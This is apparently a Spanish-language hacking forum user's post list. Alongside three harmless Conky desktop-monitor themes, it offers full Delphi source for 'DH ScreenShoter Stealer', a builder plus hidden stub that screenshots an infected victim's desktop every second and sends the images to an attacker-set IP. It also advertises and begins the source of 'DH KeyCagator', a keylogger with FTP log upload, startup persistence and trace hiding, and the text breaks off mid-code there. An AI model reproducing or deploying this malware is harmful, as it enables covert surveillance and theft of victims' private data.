Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#241
GNU/Linux / Tres themes para Conky Colors
Noviembre 26, 2013, 07:46:08 PM
Hace poco que me mude a Ubuntu y me baje el conky colors , el problema es que ninguno de todos los themes que busque en internet me gustaban asi que basado en un codigo que encontre en la pagina ubuntu-es hice estos tres themes para conky colors.

Theme Matrix.



Código: text

# Matrix Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Date : ${time %a, }${time %e %B %G}$color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Time : ${time %H:%M:%S}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $kernel $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $uptime $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $processes ($running_processes running) $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $loadavg $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $mem / $memmax ($memperc%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $swap / $swapmax ($swapperc%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Home: ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Download ${downspeed eth0} k/s ${alignr}Upload ${upspeed eth0} k/s $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Total ${totaldown eth0} ${alignr}Total ${totalup eth0} $color $font


${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?


Theme Tron.



Código: text

# Tron Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Date : ${time %a, }${time %e %B %G}$color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Time : ${time %H:%M:%S}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $kernel $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $uptime $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $processes ($running_processes running) $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $loadavg $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $mem / $memmax ($memperc%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $swap / $swapmax ($swapperc%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Home: ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Download ${downspeed eth0} k/s ${alignr}Upload ${upspeed eth0} k/s $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Total ${totaldown eth0} ${alignr}Total ${totalup eth0} $color $font


${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?


Theme DarkCity.



Código: text

# DarkCity Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Date : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${time %a, }${time %e %B %G} $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Time : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${time %H:%M:%S}$color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $kernel $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $uptime $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $processes ($running_processes running) $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $loadavg $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $mem / $memmax ($memperc%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $swap / $swapmax ($swapperc%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color FF0000}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color FF0000}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Home: $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Download : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${downspeed eth0} k/s ${alignr}${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Upload : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${upspeed eth0} k/s $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Total : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${totaldown eth0} ${alignr}${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Total : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${totalup eth0} $color $font


${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?


No son la gran cosa pero el que me gusta usar es el de matrix.
#242
Delphi / [Delphi] DH ScreenShoter Stealer 0.2
Noviembre 25, 2013, 11:34:17 AM
Un simple programa para capturar el escritorio cada 1 segundo de la persona a la que infectes con este programa.

Una imagen.



Los codigos.

El generador.

Código: delphi

// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit screen;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, ScktComp, Jpeg, sSkinManager, ComCtrls,
  sPageControl, sStatusBar, sGroupBox, sButton, sRadioButton, acPNG, sLabel,
  sEdit;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    ServerSocket2: TServerSocket;
    Timer1: TTimer;
    Timer2: TTimer;
    sSkinManager1: TsSkinManager;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    Image2: TImage;
    sLabel1: TsLabel;
    sGroupBox6: TsGroupBox;
    sEdit1: TsEdit;
    sButton2: TsButton;
    sGroupBox7: TsGroupBox;
    sButton3: TsButton;
    Image3: TImage;

    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    conexion: TFileStream;
    control: integer;

  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  cantidad: string;

implementation

uses fullscreen;
{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure achicar(archivo, medir1, medir2: string);

// Credits  :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com

var
  bit3: Double;
  bit2: TJpegImage;
  bit1: TBitmap;

begin

  try
    begin

      bit2 := TJpegImage.Create;

      bit2.Loadfromfile(archivo);

      if bit2.Height > bit2.Width then
      begin
        bit3 := StrToInt(medir1) / bit2.Height
      end
      else
      begin
        bit3 := StrToInt(medir2) / bit2.Width;
      end;

      bit1 := TBitmap.Create;

      bit1.Width := Round(bit2.Width * bit3);
      bit1.Height := Round(bit2.Height * bit3);
      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);

      bit2.Assign(bit1);

      bit2.SaveToFile(archivo);

    end;
  except
    //
  end;

end;
//

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Open;

      sStatusBar1.Panels[0].Text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Close;
      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
end;

procedure TForm1.sButton3Click(Sender: TObject);
var
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;
  lineafinal: string;
  linea: string;
begin

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'stealer_ready.exe';

  linea := '[ip]' + sEdit1.Text + '[ip]';
  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/servernow.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
    nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  contenido: string;

begin

  contenido := Socket.ReceiveText;

  if (Pos('0x3archivo', contenido) > 0) then
  begin
    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
      fmCREATE or fmOPENWRITE and fmsharedenywrite);

    ServerSocket2.Open;

  end
  else
  begin
    if (Pos('0x3acantid', contenido) > 0) then
    begin
      cantidad := Copy(contenido, 11, length(contenido));
    end;
  end;
end;

procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  data: array [0 .. 9999] of Char;
  otracantidad: integer;

begin

  Timer1.Enabled := True;

  while Socket.ReceiveLength > 0 do

  begin

    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));

    if otracantidad <= 0 then
    begin
      Break;
    end
    else
    begin
      conexion.Write(data, otracantidad);
    end;

    if conexion.Size >= StrToInt(cantidad) then

    begin

      conexion.Free;

      Timer1.Enabled := False;

      control := 0;

      Break;

    end;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  control := 1;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin

  try
    begin
      if ServerSocket1.Active = True then
      begin
        if FileExists('screen.jpg') then
        begin

          if (sRadioButton1.Checked) then
          begin
            achicar('screen.jpg', '400', '400');
            Image1.Picture.Loadfromfile('screen.jpg');
          end
          else
          begin
            Form2.Show;
            achicar('screen.jpg', '1000', '1000');
            Form2.Image1.Picture.Loadfromfile('screen.jpg');
          end;
        end;
      end;
    end;
  except
    //
  end;
end;

end.

// The End ?


El servidor.

Código: delphi

// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit server;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, ExtCtrls, Jpeg;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ClientSocket2: TClientSocket;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  target: string;

implementation

{$R *.dfm}
// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure capturar(nombre: string);
var
  imagen2: TJpegImage;
  imagen1: TBitmap;
  aca: HDC;

begin

  aca := GetWindowDC(GetDesktopWindow);

  imagen1 := TBitmap.Create;
  imagen1.PixelFormat := pf24bit;
  imagen1.Height := Screen.Height;
  imagen1.Width := Screen.Width;

  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
    SRCCOPY);

  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);

end;


//

procedure TForm1.FormCreate(Sender: TObject);

var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

begin

  Application.ShowMainForm := False;

  ob := INVALID_HANDLE_VALUE;
  code := '';

  ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -9999, nil, FILE_END);
    ReadFile(ob, code, 9999, nose, nil);
    CloseHandle(ob);
  end;

  todo := regex(code, '[63686175]', '[63686175]');
  todo := dhencode(todo, 'decode');

  target := regex(todo, '[ip]', '[ip]');

  try
    begin
      ClientSocket1.Address := target;
      ClientSocket1.Open;
    end;
  except
    //
  end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  archivo: string;
  envio: TFileStream;
  dir: string;

begin

  try
    begin

      if ClientSocket1.Active = True then

      begin
        dir := GetEnvironmentVariable('USERPROFILE') + '\';

        chdir(dir);

        if (FileExists('screen.jpg')) then
        begin
          DeleteFile('screen.jpg');
        end;

        capturar('screen.jpg');

        archivo := dir + 'screen.jpg';

        try
          begin
            ClientSocket1.Socket.SendText
              ('0x3archivo' + ExtractFileName(archivo));
            envio := TFileStream.Create(archivo, fmopenread);

            sleep(500);

            ClientSocket1.Socket.SendText('0x3acantid' + IntToStr(envio.Size));

            envio.Free;

            ClientSocket2.Address := target;
            ClientSocket2.Open;

            ClientSocket2.Socket.SendStream
              (TFileStream.Create(archivo, fmopenread));
          end;
        except
          //
        end;
      end;
    end;
  except
    //
  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#243
Perl / Re:115 Script en Perl
Noviembre 23, 2013, 03:06:42 PM
eso es viejisimo , me acuerdo que lo vi hace 5 años y lo peor es que en ese entonces los probe a todos y solo andan 20 scripts de los 100 porque los demas dan error de sintax
lo que si podes publicar es el backup del difunto darkc0de , tiene de todo hasta videos tutoriales ademas de 100 exploits en python.
#244
Delphi / [Delphi] DH KeyCagator 0.7
Noviembre 22, 2013, 10:56:06 AM
Al fin logre terminar esta version del DH KeyCagator.

El keylogger tiene las siguientes funciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

    Una imagen :



    Los dos codigos :

    El generador.

    Código: delphi

    // DH KeyCagator 0.7
    // (C) Doddy Hackman 2013
    // Keylogger Generator
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to Chokstyle

    unit genkey;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, sCheckBox,
      sRadioButton, sComboBox, ComCtrls, sStatusBar, sLabel, sButton, sPageControl,
      jpeg, madRes, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
      IdExplicitTLSClientServerBase, IdFTP, ShellApi;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sStatusBar1: TsStatusBar;
        sGroupBox8: TsGroupBox;
        sButton1: TsButton;
        sPageControl1: TsPageControl;
        sTabSheet1: TsTabSheet;
        sTabSheet2: TsTabSheet;
        sTabSheet3: TsTabSheet;
        sGroupBox1: TsGroupBox;
        sGroupBox2: TsGroupBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
        sEdit2: TsEdit;
        sComboBox1: TsComboBox;
        sGroupBox3: TsGroupBox;
        sEdit1: TsEdit;
        sGroupBox4: TsGroupBox;
        sLabel1: TsLabel;
        sCheckBox1: TsCheckBox;
        sEdit3: TsEdit;
        sGroupBox7: TsGroupBox;
        sLabel2: TsLabel;
        sCheckBox2: TsCheckBox;
        sEdit4: TsEdit;
        sGroupBox5: TsGroupBox;
        sLabel3: TsLabel;
        sLabel4: TsLabel;
        sLabel5: TsLabel;
        sLabel6: TsLabel;
        sEdit5: TsEdit;
        sEdit6: TsEdit;
        sEdit7: TsEdit;
        sEdit8: TsEdit;
        sTabSheet4: TsTabSheet;
        sTabSheet5: TsTabSheet;
        sGroupBox6: TsGroupBox;
        Image2: TImage;
        sLabel7: TsLabel;
        sGroupBox9: TsGroupBox;
        sGroupBox10: TsGroupBox;
        sLabel8: TsLabel;
        sLabel9: TsLabel;
        sLabel10: TsLabel;
        sLabel11: TsLabel;
        sEdit9: TsEdit;
        sEdit10: TsEdit;
        sEdit11: TsEdit;
        sEdit12: TsEdit;
        sButton2: TsButton;
        IdFTP1: TIdFTP;
        OpenDialog1: TOpenDialog;
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    var
      lineafinal: string;

      savein_especial: string;
      savein: string;
      foldername: string;

      capture_op: string;
      capture_seconds: integer;

      ftp_op: string;
      ftp_seconds: integer;
      ftp_host_txt: string;
      ftp_user_txt: string;
      ftp_pass_txt: string;
      ftp_path_txt: string;

      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;

      stubgenerado: string;
      op: string;
      change: DWORD;
      valor: string;

    begin

      if (sRadioButton1.Checked = True) then

      begin

        savein_especial := '0';

        if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
